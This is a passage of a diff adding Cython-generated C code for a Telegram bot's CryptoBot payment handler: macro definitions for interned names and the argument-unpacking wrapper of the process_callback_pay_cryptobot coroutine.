__pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input +#endif +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input +#define __pyx_n_s_AioCryptoPay __pyx_mstate_global->__pyx_n_s_AioCryptoPay +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_n_u_CRYPTOSALE __pyx_mstate_global->__pyx_n_u_CRYPTOSALE +#define __pyx_n_s_CRYPTO_BOT_ENABLE __pyx_mstate_global->__pyx_n_s_CRYPTO_BOT_ENABLE +#define __pyx_n_s_CRYPTO_BOT_TOKEN __pyx_mstate_global->__pyx_n_s_CRYPTO_BOT_TOKEN +#define __pyx_kp_u_CRYPTO_HASH __pyx_mstate_global->__pyx_kp_u_CRYPTO_HASH +#define __pyx_kp_u_Crypto_Pay_Api_Signature __pyx_mstate_global->__pyx_kp_u_Crypto_Pay_Api_Signature +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_MAIN_NET __pyx_mstate_global->__pyx_n_s_MAIN_NET +#define __pyx_n_s_Networks __pyx_mstate_global->__pyx_n_s_Networks +#define __pyx_kp_u_No_value __pyx_mstate_global->__pyx_kp_u_No_value +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_n_s_PROJECTMANECONGIGURE __pyx_mstate_global->__pyx_n_s_PROJECTMANECONGIGURE +#define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id +#define __pyx_n_s_RUB_TO_USDT __pyx_mstate_global->__pyx_n_s_RUB_TO_USDT +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Response __pyx_mstate_global->__pyx_n_s_Response +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_n_u_USDT __pyx_mstate_global->__pyx_n_u_USDT +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 +#define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_n_u__13 __pyx_mstate_global->__pyx_n_u__13 +#define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 +#define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 +#define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 +#define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 +#define __pyx_kp_u__25 __pyx_mstate_global->__pyx_kp_u__25 +#define __pyx_kp_u__27 __pyx_mstate_global->__pyx_kp_u__27 +#define __pyx_kp_u__28 __pyx_mstate_global->__pyx_kp_u__28 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__31 __pyx_mstate_global->__pyx_kp_u__31 +#define __pyx_kp_u__32 __pyx_mstate_global->__pyx_kp_u__32 +#define __pyx_kp_u__33 __pyx_mstate_global->__pyx_kp_u__33 +#define __pyx_kp_u__34 __pyx_mstate_global->__pyx_kp_u__34 +#define __pyx_n_s__43 __pyx_mstate_global->__pyx_n_s__43 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 +#define __pyx_kp_u__9 __pyx_mstate_global->__pyx_kp_u__9 +#define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiocryptopay __pyx_mstate_global->__pyx_n_s_aiocryptopay +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_kp_u_amount_2 __pyx_mstate_global->__pyx_kp_u_amount_2 +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asset __pyx_mstate_global->__pyx_n_s_asset +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_body_text __pyx_mstate_global->__pyx_n_s_body_text +#define __pyx_n_s_bot_invoice_url __pyx_mstate_global->__pyx_n_s_bot_invoice_url +#define __pyx_n_u_bot_invoice_url __pyx_mstate_global->__pyx_n_u_bot_invoice_url +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define __pyx_n_s_check_connection_exists __pyx_mstate_global->__pyx_n_s_check_connection_exists +#define __pyx_n_s_check_hash __pyx_mstate_global->__pyx_n_s_check_hash +#define __pyx_n_s_check_signature __pyx_mstate_global->__pyx_n_s_check_signature +#define __pyx_n_s_choosing_amount_crypto __pyx_mstate_global->__pyx_n_s_choosing_amount_crypto +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_create_invoice __pyx_mstate_global->__pyx_n_s_create_invoice +#define __pyx_n_u_crypto __pyx_mstate_global->__pyx_n_u_crypto +#define __pyx_n_s_crypto_2 __pyx_mstate_global->__pyx_n_s_crypto_2 +#define __pyx_kp_u_crypto_amount __pyx_mstate_global->__pyx_kp_u_crypto_amount +#define __pyx_n_s_crypto_pay_signature __pyx_mstate_global->__pyx_n_s_crypto_pay_signature +#define __pyx_n_u_cryptobot __pyx_mstate_global->__pyx_n_u_cryptobot +#define __pyx_n_s_cryptobot_webhook __pyx_mstate_global->__pyx_n_s_cryptobot_webhook +#define __pyx_n_s_custom_payload __pyx_mstate_global->__pyx_n_s_custom_payload +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_s_description __pyx_mstate_global->__pyx_n_s_description +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_u_enter_custom_amount_crypto __pyx_mstate_global->__pyx_n_u_enter_custom_amount_crypto +#define __pyx_n_s_entering_custom_amount_crypto __pyx_mstate_global->__pyx_n_s_entering_custom_amount_crypto +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists +#define __pyx_n_s_expected_hash __pyx_mstate_global->__pyx_n_s_expected_hash +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handlers_payments_cryprobot_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_cryprobot_pay +#define __pyx_kp_s_handlers_payments_cryprobot_pay_2 __pyx_mstate_global->__pyx_kp_s_handlers_payments_cryprobot_pay_2 +#define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_kp_u_hash_cryptobot __pyx_mstate_global->__pyx_kp_u_hash_cryptobot +#define __pyx_n_s_headers __pyx_mstate_global->__pyx_n_s_headers +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_info __pyx_mstate_global->__pyx_n_s_info +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_invoice __pyx_mstate_global->__pyx_n_s_invoice +#define __pyx_n_u_invoice_paid __pyx_mstate_global->__pyx_n_u_invoice_paid +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_isdigit __pyx_mstate_global->__pyx_n_s_isdigit +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_json __pyx_mstate_global->__pyx_n_s_json +#define __pyx_n_s_key_count __pyx_mstate_global->__pyx_n_s_key_count +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_network __pyx_mstate_global->__pyx_n_s_network +#define __pyx_n_u_paid __pyx_mstate_global->__pyx_n_u_paid +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_cryptobot __pyx_mstate_global->__pyx_n_u_pay_cryptobot +#define __pyx_n_s_payload __pyx_mstate_global->__pyx_n_s_payload +#define __pyx_n_u_payload __pyx_mstate_global->__pyx_n_u_payload +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_cryptobot __pyx_mstate_global->__pyx_n_s_process_callback_pay_cryptobot +#define __pyx_n_s_process_crypto_payment __pyx_mstate_global->__pyx_n_s_process_crypto_payment +#define __pyx_n_s_process_custom_amount_input __pyx_mstate_global->__pyx_n_s_process_custom_amount_input +#define __pyx_n_s_process_enter_custom_amount __pyx_mstate_global->__pyx_n_s_process_enter_custom_amount +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_request __pyx_mstate_global->__pyx_n_s_request +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_kp_u_solonet_sup __pyx_mstate_global->__pyx_kp_u_solonet_sup +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_u_status __pyx_mstate_global->__pyx_n_u_status +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_token __pyx_mstate_global->__pyx_n_s_token +#define __pyx_n_s_trial __pyx_mstate_global->__pyx_n_s_trial +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_update_data __pyx_mstate_global->__pyx_n_s_update_data +#define __pyx_n_u_update_type __pyx_mstate_global->__pyx_n_u_update_type +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_kp_u_user_id_amount __pyx_mstate_global->__pyx_kp_u_user_id_amount +#define __pyx_n_s_user_id_str __pyx_mstate_global->__pyx_n_s_user_id_str +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_n_s_warning __pyx_mstate_global->__pyx_n_s_warning +#define __pyx_n_s_web __pyx_mstate_global->__pyx_n_s_web +#define __pyx_float_0_0 __pyx_mstate_global->__pyx_float_0_0 +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_200 __pyx_mstate_global->__pyx_int_200 +#define __pyx_int_400 __pyx_mstate_global->__pyx_int_400 +#define __pyx_int_500 __pyx_mstate_global->__pyx_int_500 +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__4 __pyx_mstate_global->__pyx_tuple__4 +#define __pyx_tuple__7 __pyx_mstate_global->__pyx_tuple__7 +#define __pyx_tuple__23 __pyx_mstate_global->__pyx_tuple__23 +#define __pyx_tuple__29 __pyx_mstate_global->__pyx_tuple__29 +#define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 +#define __pyx_tuple__36 __pyx_mstate_global->__pyx_tuple__36 +#define __pyx_tuple__37 __pyx_mstate_global->__pyx_tuple__37 +#define __pyx_tuple__38 __pyx_mstate_global->__pyx_tuple__38 +#define __pyx_tuple__39 __pyx_mstate_global->__pyx_tuple__39 +#define __pyx_tuple__40 __pyx_mstate_global->__pyx_tuple__40 +#define __pyx_tuple__41 __pyx_mstate_global->__pyx_tuple__41 +#define __pyx_tuple__42 __pyx_mstate_global->__pyx_tuple__42 +#define __pyx_codeobj__5 __pyx_mstate_global->__pyx_codeobj__5 +#define __pyx_codeobj__18 __pyx_mstate_global->__pyx_codeobj__18 +#define __pyx_codeobj__22 __pyx_mstate_global->__pyx_codeobj__22 +#define __pyx_codeobj__24 __pyx_mstate_global->__pyx_codeobj__24 +#define __pyx_codeobj__26 __pyx_mstate_global->__pyx_codeobj__26 +#define __pyx_codeobj__30 __pyx_mstate_global->__pyx_codeobj__30 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< + * async def process_callback_pay_cryptobot( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot = {"process_callback_pay_cryptobot", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_cryptobot (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, 1); __PYX_ERR(0, 38, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, 2); __PYX_ERR(0, 38, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_cryptobot") < 0)) __PYX_ERR(0, 38, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 38, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_callback_pay_cryptobot", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_process_callback_pay_cryptobot(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_process_callback_pay_cryptobot(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_cryptobot", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 38, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_cryptobot, __pyx_n_s_process_callback_pay_cryptobot, 